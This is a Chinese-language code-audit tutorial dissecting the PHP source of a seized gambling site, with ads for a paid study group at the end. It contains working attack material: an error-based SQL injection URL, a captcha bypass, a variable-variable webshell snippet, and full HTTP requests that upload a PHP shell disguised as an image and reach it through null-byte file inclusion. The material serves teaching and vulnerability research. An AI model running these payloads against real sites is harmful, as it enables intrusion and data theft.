上一期代码审计公开课,我们做的是Cobalt Strike的RCE代码审计。是一套java架构下的代码。本次的某bc站点代码审计,我们来试试php代码审计。
1.背景知识 本次的代码来自于一些奋斗在一线的人民卫士提供的样本。是某次打击犯罪的结果物,今天带领大家来分析下代码。这是一套php的代码,写得非常粗糙,一看就是那种比较差劲的程序员写的,整体非常不优雅,漏洞非常浅显,很容易就能挖到 。属于半mvc架构,整体的编程风格非常撕裂,相比于上一期公开课我们讲的cs RCE一个天上一个地下。但是这也是很多入门的师傅或者打案件的师傅常常能碰到的源码,极具实战价值和入门价值。
并且我会在讲课的过程中会提出一些思考点(直播课中会讲到)。
2.代码分析篇 0x00 代码结构
我这边已经把这套源码装起来了,这套源码本来是必须跑在windows上的,我给他改了下代码,让他兼容跑在linux上了。
代码审计别着急看代码,先看中间件的配置文件
比如这里,就是apache的中间件,进行了rewrite重写动作
1.
2.
3. rewriteEngine On
4. RewriteCond %{REQUEST_FILENAME} !-d
5. RewriteCond %{REQUEST_FILENAME} !-f
6. RewriteRule (.*).aspx$ $1.php [QSA,L] //把aspx后缀转发到php后缀
7. RewriteRule index.html$ index.php [QSA,L]
8. RewriteRule login.html$ index.php?mod=login [QSA,L]
9. RewriteRule index_(.*).html$ index.php?mod=$1 [QSA,L]
10. RewriteRule main.html$ index.php?mod=main [QSA,L]
11. RewriteRule game_(.*).html$ index.php?mod=game&id=$1 [QSA,L]
12. RewriteRule game1_(.*)_(.*).html$ index.php?mod=game&play=$1&type=$2 [QSA,L]
13. RewriteRule lottery_(.*).html$ index.php?mod=kaijiang&key=$1 [QSA,L]
14. RewriteRule home_(.*)_(.*).html$ index.php?mod=$1&code=$2 [QSA,L]
15. RewriteRule home.html$ index.php?mod=report&code=index [QSA,L]
16. RewriteRule admin_(.*)_(.*).html$ index.php?controller=$1&action=$2 [QSA,L]
17. RewriteRule hemai.html$ index.php?mod=hemai [QSA,L]
18. RewriteRule hemai_(.*).html$ index.php?mod=hemai&id=$1 [QSA,L]
19.
20. RewriteRule default.html$ index.php?mod=welcome [QSA,L]
21.
可以看到,代码开发者还是有点骚的,故意把一个php的网站伪装成一个aspx的网站,用来迷惑大家。这也是代码开发者的第一道防御,可能很多师傅在渗透这个站点的时候,会以为这是一个aspx的网站。就会把渗透思路往.net方向去靠。
mvc框架路由分析在直播的时候讲了,这里懒得重写了(笑)
0x01 漏洞1-变量覆盖漏洞 快速代码审计,上来先看index.php
session_start();
header("content-type:text/html; charset=utf-8" );
$mod = isset ($_GET['mod' ]) ? $_GET['mod' ] : "" ;
$path_type='index' ;
require_once 'source/function/run.php' ;
foreach ($_GET as $key=>$value){
$new_value=Core_Fun::isokchar($value);
$_GET[$key]=$new_value;
}
foreach ($_POST as $key=>$value){
$new_value=Core_Fun::isokchar($value);
$_GET[$key]=$new_value;
}
/* 页面运行时间 */
public static function isokchar ($string) {
$forbidchar = array ('select' ,'update' ,'delete' ,'union' ,'insert' ,'load_file' ,'outfile' ,'where' ,'char' ,'concat' );
if (in_array($string, $forbidchar) === false )
{return $string;}
else {return "" ;}
}
包含了source/function/run.php文件
然后将进来的参数进行了一些sql注入关键字过滤,但是,明显过滤的很垃圾,也没做大写的检测,所以这里的注入可以非常轻易地绕过。
select ==> SELECT 即可
然后我们着重看source/function/run.php,因为看起来他像是一个基类文件,就是被大家都引用的文件。
set_time_limit(0 );
ini_set('display_errors' , 0 );
//error_reporting(E_ALL);
header("content-type:text/html; charset=utf-8" );
//error_reporting(E_ERROR);
// if(strpos($_SERVER['REQUEST_URI'], '.php')!==false || strpos($_SERVER['REQUEST_URI'], 'com/?')!==false){
// echo file_get_contents('http://'.$_SERVER["HTTP_HOST"].'/404.html');
//
////echo "";
//
// exit();
// }
if (PHP_VERSION<"5.3" ){
set_magic_quotes_runtime(0 );
}
从这一句我就可以看出 这个东西基本是跑在一个默认跑在php5.4版本的cms(当然我把他改造成5.5.38)。因为set_magic_quotes_runtime在5.4已经被废除了,并且我们从这里可以知道这套系统关闭了gpc
gpc的作用,简单讲
如果打开了gpc
' --> \'
" --> \"
%00 --> \0
如果关闭了gpc(php5.3.4 以下)
' --> '
" --> "
%00 --> 截断
如果关闭了gpc(php5.3.4 以上)
' --> '
" --> "
%00 --> \0
继续往下看,我们看到了第一个漏洞,变量覆盖漏洞
if (isset ($_REQUEST['GLOBALS' ]) OR isset ($_FILES['GLOBALS' ])){
exit ('Request tainting attempted.' );
}
foreach (array ('_COOKIE' , '_POST' , '_GET' ) as $_request) {
foreach ($$_request as $_key => $_value) {
$_key{0 } != '_' && $$_key = stripslashes($_value);
}
}
foreach 的结果就是$_GET["dada" ] = "123" --> $dada = "123"
这里要理解php中可变变量的一个概念,就是说,正常一个变量,变量名不可变,但是变量值可变,比如
$dada = "fuckxxx"
$dada = "xxxnb"
但是可变变量呢,变量名也可变,通过动态的获取变量名,来解析变量值,说起来比较拗口,搞个实例
$fuckxxx = "xxxnb"
$dada = "fuckxxx" // --> $$dada = "xxxnb"
可变变量是php里面一个常用的特性,也是webshell免杀里面常用的基础骚操作,比如
$a = "assert" ;
$b = "a" ;
$$b($_GET["a" ]);
但是变量覆盖漏洞本身往往没啥作用,因为有的业务系统常常也有变量覆盖来执行一些逻辑,但是是一个风险点。所以我们把这个记一下。我们可以初始化任意一个变量。但是不能是系统内置变量。
0x02 漏洞2-前台sql注入漏洞(GG) 先看下有没有前台sql注入,先看路由
if (!$_SESSION['userid' ] and !$_SESSION['admin_id' ] ){ //没有session说明没登陆,没登陆会走到这个流程
if ($mod!='reg' and $mod!='welcome' and $mod!='payreturn' )$mod="login" ; //如果要访问的模块不是注册(reg)或者欢迎页面(welcome)等就路由到login(强制登陆、登陆检查)
$code="" ;$list="" ;$modd = $mod;
$tplfile = INDEX_TEMPLATE.INDEXPAGE."." .$tplext;
$widgetfile = "./source/controller/" .INDEXPAGE.".php" ;
$images_list="" ;
$lines="" ;
for ($i=1 ;$i<=5 ;$i++){
$myfile=CHENCY_ROOT.INDEX_TEMPLATE."images/login/login" .$i.".jpg" ;
if (file_exists($myfile)){
$thisfile=SZS_ROOT_URL.INDEX_TEMPLATE."images/login/login" .$i.".jpg" ;
$images_list.=".$lines.
" id='l_m_" .$i.
"'>
" ;
$lines="style='display:none'" ;
}
}
$tpl->assign("images_list" ,$images_list);
}
所以我们要做前台sql注入,可以看看登陆点的逻辑
$ieinfor=Core_Fun::getBrowser();
$username = Core_Fun::rec_post("username" ,1 ); //获取用户名
$loginpass_source = Core_Fun::rec_post("loginpass_source" ,1 );
$validcode_source = Core_Fun::rec_post("validcode_source" ,1 );
if ($username and $loginpass_source){
if (trim($_POST['validcode_source' ])!=trim($_SESSION['validationcode' ])){
show_message('验证码错误' ,$_SERVER['HTTP_REFERER' ],'warn' );
exit ();}
$flag="yes" ;
$md5password = md5($loginpass_source);
$user_info = array ();
$user_info_sql = "SELECT a.userid,a.username,a.nickname,a.logintime,a.loginnum,a.isproxy,a.status,b.hig_amount FROM " .DB_PREFIX."user as a," .DB_PREFIX."user_bank as b WHERE a.username='$username' and a.password='$md5password' and a.userid=b.userid and admin='0'" ; //将用户名拼接到sql语句中
现在就看获取用户名的时候有没有做过滤
public static function rec_post ($name,$type=0 ) {
return self ::request($name,$type,1 ,0 );
}
public static function request ($name,$posttype=0 ,$recbad=0 ,$strip=0 ) {
if ($posttype==1 ){
$post = isset ($_POST[$name]) ? $_POST[$name] : '' ;
}elseif ($posttype==2 ){
$post = isset ($_GET[$name]) ? $_GET[$name] : '' ;
}else {
$post = isset ($_REQUEST[$name]) ? $_REQUEST[$name] : '' ;
}
if ((int)$recbad==1 ){
$post = self ::replacebadchar($post);
}
if ((int)$strip==1 ){
$post = self ::strip_array($post);
}
return trim($post);
}
public static function replacebadchar ($str) {
if (empty ($str)) return ;
if ($str=="" ) return ;
$str = trim($str);
$str = str_replace("'" ,"" ,$str);
$str = str_replace("=" ,"" ,$str);
$str = str_replace("#" ,"" ,$str);
$str = str_replace("$" ,"" ,$str);
$str = str_replace(">" ,"" ,$str);
$str = str_replace(","" ,$str);
$str = str_replace("\\" ,"" ,$str);
$str = str_replace("*" ,"" ,$str);
$str = str_replace("%" ,"" ,$str);
return $str;
}
可以看到单引号被过滤掉 了,但是我们这边需要闭合前面的单引号,没有单引号不行,所以此处注入失败
0x03 漏洞3-前台sql注入漏洞(成功) 我们刚才说到只有reg、welcome和payreturn三个模块可以未授权访问的模块,所以我们想前台sql注入,就要再看看reg这个模块的代码。
for ($i=0 ;$i'banner_num'];$i++){
$banner[$i]['url' ]=$con_system['banner_url_' .$i];
$banner[$i]['img' ]=$con_system['banner_img_' .$i];
}
$tpl->assign('banner' ,$banner);
if ($_POST and $_GET['type' ]=='clickadd' ){
$data['username' ]=$_POST['username' ];
$passwd=$_POST['password' ];
$data['qqnum' ]=$_POST['qqnum' ];
if ($_SESSION['validationcode' ]!=$_POST['Verifycode' ]) {
$re_info="验证码不正确" ;$flags="no" ; //这里还有一个小漏洞,没有正确初始化,导致校验失败
}
if ($data['username' ]=="" ){
$re_info="请输入用户名" ;$flags="no" ;
}else {
if (preg_match("/[\x7f-\xff]/" ,$data['username' ])){
$re_info="不能使用中文作为用户名!" ;
$flags="no" ;
}
$user_s_sql = "select userid from user where username='{$data['username']}'" ;
$user_s = $db->fetch_first($user_s_sql);
我们先讲这里有一个额外的小漏洞,验证码绕过的小漏洞。
if ($_SESSION['validationcode' ]!=$_POST['Verifycode' ]) {
$re_info="验证码不正确" ;$flags="no" ; //这里还有一个小漏洞,没有正确初始化,导致校验失败
}
这里,取用户session中的验证码validationcode与用户传输过来的验证码Verifycode进行比较,如果验证码错误,就会失败告警。乍一看貌似写的没错。
但是结合php语言的特性,其实这里是有问题的。
我们知道,用户session的绑定,来自于用户cookie的输入 ,如果此时,我们故意不传入cookie。那么,获取到的session是什么的?
答案:NULL
而右边,我们同样可以不用post传入Verifycode,那么$_POST[‘Verifycode’]同样是NULL ,这样 NULL == NULL就绕过了校验。
if ($_POST and $_GET['type' ]=='clickadd' ){
$data['username' ]=$_POST['username' ];
$passwd=$_POST['password' ];
$data['qqnum' ]=$_POST['qqnum' ];
/*
...
...
*/
$user_s_sql = "select userid from user where username='{$data['username']}'" ;
$user_s = $db->fetch_first($user_s_sql);
然后sql注入也很简单,获取的username直接拼接到sql语句中了,直接注入日穿。
0x04 漏洞4-用户后台sql注入漏洞 一般而言,这种bc站点可能是有注册或者邀请注册功能的,所以我们可以假设,我们可以拿到一个用户后台权限(普通会员)
再看一下文件的路由结构
define('ALLOWGUEST' ,true );
//if($_SESSION['userid']){
$tplfile = INDEX_TEMPLATE.$modd."." .$tplext;
$widgetfile = "./source/controller/" .$modd.".php" ;
//}
if (!Core_Fun::fileexists($tplfile)){
Core_Fun::halt("对不起,模板文件“" .$tplfile."”不存在,请检查!" ,"" ,4 );
}
if (!Core_Fun::fileexists($widgetfile)){
Core_Fun::halt("对不起,部件文件“" .$widgetfile."”不存在,请检查!" ,"" ,0 );
}
//echo INDEX_TEMPLATE;
/* 缓存,模板处理 */
if ($config['cachstatus' ]==1 ){
$cache_seconds = $config['cachtime' ]*1 ;
$tpl->setCaching(true );
$tpl->setCacheLifetime($cache_seconds);
}
$cacheid = md5($_SERVER["REQUEST_URI" ]);
if (!$tpl->isCached($tplfile,$cacheid)){
require_once './source/function/Function.php' ;
require_once './source/module/app.php' ;
require_once './source/controller/navi.php' ;
require_once './source/controller/' .$modd.'.php' ;
}
可以看到,最终引入的是./source/controller/目录下的module文件(php结尾),module来自于我们输入的mod参数(详细的路由分析要结合上文看。)
所以我们随便到./source/controller/目录找个module文件看看。
随便找一个文件看一下,比如hemai.php
if ($_GET['id' ]) {$playkey=get_game_ckey($_GET['id' ]);
$sql = "select * from game_type where id='{$_GET['id']}'" ;
$game=$db->exec($sql);
非常明显的sql注入了。
构造一下路由利用
http://192.168 .215 .129 /?mod=hemai&id=1 %27 %20 AND%20 extractvalue(1 ,%20 concat(0x7e ,(SELECT%20 concat(0x23 ,username,0x3a ,password,0x23 )%20 FROM%20 user%20l imit%200 ,1 )))%23
当然这是需要登陆权限才能做的事情。不过菠菜站要拿到一个普通的user权限很简单的事情。并且我们可以看到这里默认mysql是root用户,又是在win上,win上mysql很可能是system权限,大概率是可以通过注入点直接getshell乃至通过mysql执行命令的,但是这一块属于渗透利用的范畴,这里不展开了。
0x05 漏洞5 文件上传+截断到getshell 理论存在 ,因为我把这套源码强行移植到了linux上,所以目前没办法复现。(拒绝windows从我做起!)
因为我们知道这个系统很可能搭建在windows+php5.3+apache,并且关闭了gpc。
另外如果php小于5.3.4,那么就可以猜测这里存在%00截断漏洞。
另外如果php小于5.3.10,可能存在/截断,具体看这里
然后我们找到源码中有一处编辑器上传(检索$_FILES)
require_once 'JSON.php' ;
$save_path = '../../editor/attached/' ;
$save_url = '../editor/attached/' ;
$ext_arr = array ('gif' ,'jpg' ,'jpeg' ,'png' ,'bmp' );
$max_size = 1000000 ;
if (empty ($_FILES) === false ) {
$file_name = $_FILES['imgFile' ]['name' ];
$tmp_name = $_FILES['imgFile' ]['tmp_name' ];
$file_size = $_FILES['imgFile' ]['size' ];
if (!$file_name) {
alert("请选择文件。" );
}
if (@is_dir($save_path) === false ) {
alert("上传目录不存在。" );
}
if (@is_writable($save_path) === false ) {
alert("上传目录没有写权限。" );
}
if (@is_uploaded_file($tmp_name) === false ) {
alert("临时文件可能不是上传文件。" );
}
if ($file_size >$max_size) {
alert("上传文件大小超过限制。" );
}
$temp_arr = explode("." ,$file_name);
$file_ext = array_pop($temp_arr);
$file_ext = trim($file_ext);
$file_ext = strtolower($file_ext);
if (in_array($file_ext,$ext_arr) === false ) {
alert("上传文件扩展名是不允许的扩展名。" );
}
$new_file_name = date("YmdHis" ) .'_' .rand(10000 ,99999 ) .'.' .$file_ext;
$file_path = $save_path .$new_file_name;
if (move_uploaded_file($tmp_name,$file_path) === false ) {
alert("上传文件失败。" );
}
@chmod($file_path,0644 );
$file_url = $save_url .$new_file_name;
header('Content-type: text/html; charset=UTF-8' );
$json = new Services_JSON();
echo $json->encode(array ('error' =>0 ,'url' =>$file_url));
exit ;
}
function alert ($msg) {
header('Content-type: text/html; charset=UTF-8' );
$json = new Services_JSON();
echo $json->encode(array ('error' =>1 ,'message' =>$msg));
exit ;
}
?>
可以看到编辑器上传这里做了白名单机制的上传检测,这是没办法绕过的,所以我们只能上传一个普通的jpg文件,当然我们能在里面写入我们webshell的内容
POST /static/editor/php/upload_json.php HTTP/1.1
Host : 192.168.215.129
Content-Length : 441
Cache-Control : max-age=0
Upgrade-Insecure-Requests : 1
Origin : null
Content-Type : multipart/form-data; boundary=----WebKitFormBoundary7fT1avZ1CGwIgWvG
User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9
Cookie : PPA_CI=6fc17fa0da0998f630471195f0692234; PHPSESSID=5rd3avc8ibq3hogedanie8c365
Connection : close
------WebKitFormBoundary7fT1avZ1CGwIgWvG
Content-Disposition: form-data; name="imgFile" ; filename="1.jpg"
Content-Type: text /html
php echo "I am a webshell!" ?>
------WebKitFormBoundary7fT1avZ1CGwIgWvG--
未授权,可以进行文件上传,但是只能上传图片,得到返回的文件地址。
{"error" :0 ,"url" :"..\/editor\/attached\/20221027005101_18494.jpg" }
登陆普通用户后台,可以访问
http:// 192.168 .215.129 /do.php?mod=../ ../static/ editor/attached/ 20221027005101 _18494.jpg%00
通过php 5.3.4以下版本的截断漏洞来进行文件包含getshell
0x06 漏洞6 前台任意文件上传+骚操作获取文件名 这里是我们真正的杀器
首先通过$_FILES 关键字检索文件上传
定位到文件/admin/save_post.php,这是开头
$id=$_GET['id' ];
$active=$_GET['active' ];
$nowtime=date("Y-m-d H:i:s" ,time());
include (ROOT_PATH."/source/function/run.php" );
include (ROOT_PATH."/source/function/core.do.fun.php" );
ROOT_PATH的定义在config.php文件中,所以直接访问是不能生效的。也符合这套代码的路由预期。
一般cms的路由入口都是index.php,我们直接看admin/index.php (这里由体现bc代码的作者功底不行,同一套代码居然用了两个mvc入口)
// if($_GET['no_task']) $no_task=$_GET['no_task'];
$path_type='admin' ;
include ('config.php' );
$controller=$_GET['controller' ];
$action=$_GET['action' ];
$threes=$_GET['threes' ];
$paras=$_GET['paras' ];
$items=$_GET['items' ];
$flag=$_GET['flag' ];
$pages=$_GET['pages' ];
$leftnavi=$_GET['leftnavi' ];
$path_URL=ROOT_URL."/" .$AdminPath;
if (!$pages or $pages==0 ){$pages=1 ;}
$pagesize=$maxnum=$con_system['admin_pagenum' ];
$starnum=$pages*$maxnum-$maxnum;
if ($flag=="yes" ){ //flag等于yes才会进入这个分支
if ($controller=="do" and $action!="GetPopup" ){
}
if ($controller=="" ){$path=ROOT_PATH."/" .$AdminPath."/" ;}else {$path=ROOT_PATH."/" .$AdminPath."/" .$controller."/" ;}
if ($action=="" ){$files="save.php" ;}else {$files=$action.".php" ;}
$filepath=$path.$files;
include ($filepath);
exit ;
}
通过这里一处文件包含,我们可以看到,其实这个接口可以未授权访问 ,因为接口的路由在权限校验之前(具体的权限校验我没贴出来,在后面的代码中)。
所以我们通过路由,即可访问到save_post方法
/admin/ index.php?flag=yes&action =save_post
继续看save_post,找到跟上传相关的代码
if ($active=="game_type" ){
$fullname=$_POST['fullname' ];
$ckey=$_POST['ckey' ];
$status=$_POST['status' ];
$first_cate=$_POST['first_cate' ];
if (!$_POST['show_index' ])$_POST['show_index' ]=0 ;
if (!$_POST['show_nav' ])$_POST['show_nav' ]=0 ;
if (!$_POST['show_nav2' ])$_POST['show_nav2' ]=0 ;
if (!$_POST['icon1' ])$_POST['icon1' ]=0 ;
if (!$_POST['icon2' ])$_POST['icon2' ]=0 ;
if ($_FILES['lot_ico' ] ){
include_once '../source/function/Image.php' ;
$img=new Image();
$path="data/uploads/ico/" ;
if ($file=$img->up_image($_FILES['lot_ico' ], "../" .$path)){
$_POST['ico' ]=$ico=$path.$file;
}
}
/*
...
...
*/
if ($fullname=="" or $ckey=="" ){
/*
...
...
*/
}else {
mysql_query("set names utf8;" );
if ($ico) $str=" ,`ico`='{$ico}'" ;
$strSql="update game_type set fullname='$fullname',ckey='$ckey',code='$modeslist',status='$status' {$str} where id='$id'" ;
mysql_query($strSql) or die ("插入时出错1" .mysql_error());
/*
...
...
*/
}
这里由几处要关注的是
$active=="game_type"
$fullname=$_POST['fullname' ];
$ckey=$_POST['ckey' ];
上传的内容通过调用up_image函数进行真正的功能处理。所以我们直接看上传的校验代码
public function up_image ($file,$path) {
if (!is_dir($path)) mkdir($path,0777 );//判断文件夹是否存在,不存在则创建
if ($file and $file["size" ]>0 ){
$str=explode('.' , $file["name" ]);
$filename=time().rand(1000 ,9999 )."." .$str[count($str)-1 ];
$type = $file["type" ];
$size = $file["size" ];
$upload_max=10 *1024 *1024 ;
if ($size>$upload_max){
echo "" ;
return false ;
}
$tmp_name = $file["tmp_name" ];
$ok=0 ;
//判断文件类型
switch ($type) {
case 'image/pjpeg' :$ok=1 ;
break ;
case 'image/jpeg' :$ok=1 ;
break ;
case 'image/gif' :$ok=1 ;
break ;
case 'image/png' :$ok=1 ;
break ;
case 'image/x-png' :$ok=1 ;
break ;
case 'image/x-icon' :$ok=1 ;
break ;
}
if ($ok==1 ){
if (move_uploaded_file($tmp_name,$path."/" .$filename)){
//var_dump($filename);
//$this->make_image($filename);
return $filename;//返回文件地址
}
else
return false ;
}
else {
echo "" ;
return false ;
}
}
}
我们可以看到做了文件类型检查,但是有问题。
这也是常见的文件绕过的类型之一,后面我们的内部课程会综合讲述所有文件上传绕过在代码审计中的实战 。
以上,我们已经确定我们能够通过绕过,上传一个php文件,但是文件名,很复杂:
$filename=time().rand(1000 ,9999 )."." .$str[count($str)-1 ];
但是这里有一个问题 就是我们虽然上传了文件,但是我们不知道文件名是啥,我们只知道文件名来自于该机器的时间戳和随机数,并且后缀我们可以控制。这样其实很难拿到我们webshell的路径的,所以这里有个骚操作,基本只有通过代码审计 才能看出来。
我们可以看到,该参数其实返回了文件名。
然后文件名又被用到哪里呢,取决的调用函数的地方,通过回溯,我们找到了一个方法可以利用。
if ($fullname=="" or $ckey=="" ){
/*
...
...
*/
}else {
mysql_query("set names utf8;" );
if ($ico) $str=" ,`ico`='{$ico}'" ;
$strSql="update game_type set fullname='$fullname',ckey='$ckey',code='$modeslist',status='$status' {$str} where id='$id'" ;
mysql_query($strSql) or die ("插入时出错1" .mysql_error());
/*
...
...
*/
}
我们可以看到,经过一系列操作,文件名被暂存到变 量 中 了 。 然 后 被 拼 接 到 一 个 语 句 中 , 恰 好 , 该 语 句 中 存 在 注 入 , 恰 好 , 这 里 是 一 处 报 错 注 入 。 所 以 我 们 可 以 通 过 控 制 fullname,造成此处sql注入,然后爆出sql语句,通过爆出sql语句,得到sql语句中的文件名。
我们写了一个exp,
然后这是burp抓到的数据包
POST /admin/index.php?flag=yes&action=save_post&active=game_type HTTP/1.1
Host : 192.168.215.129
Content-Length : 405
Cache-Control : max-age=0
Upgrade-Insecure-Requests : 1
Origin : http://192.168.215.129
Content-Type : multipart/form-data; boundary=----WebKitFormBoundary7PujKh5smI2EyPZ1
User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer : http://192.168.215.129/admin/index.php?flag=yes&action=save_post&active=game_type
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9
Connection : close
------WebKitFormBoundary7PujKh5smI2EyPZ1
Content-Disposition: form-data; name ="lot_ico" ; filename="1.php"
Content-Type: image/png
"dada fuck xxx" ;?>
------WebKitFormBoundary7PujKh5smI2EyPZ1
Content-Disposition: form-data; name ="fullname"
asda'
------WebKitFormBoundary7PujKh5smI2EyPZ1
Content-Disposition: form-data; name ="ckey"
asds
------WebKitFormBoundary7PujKh5smI2EyPZ1--
3.附件下载 从第二期公开课开始,我们的直播录屏与课程文档以及文中提到的工具都要进内部群才能下载。门槛费目前是49.9 (最早是9.9,后来涨价了),进入内部群后了解其他同学的学习动向,并且所有的技术提问都保证会得到解答。并且,进入内部群后,后续购买培训课可以减免200 元。
本文中用的 exp工具 ,可以关注本公众号( dada安全研究所 ),并在后台回复“ bcrce ”进行领取。
4.广告时间 师傅们可以看看我们的课表
如果感兴趣的话,可以联系dada进行深入交流。如果想进行技术提问,可以在公众号后台输入问题,我们的讲师会不定期回复。
dada微信:
也欢迎关注我们的另一个公众号“Th0r安全”,深耕网络安全行业,文章内容涵盖安全开发,病毒分析, 电子取证,内网滲透,WEB渗透等安全相关知识: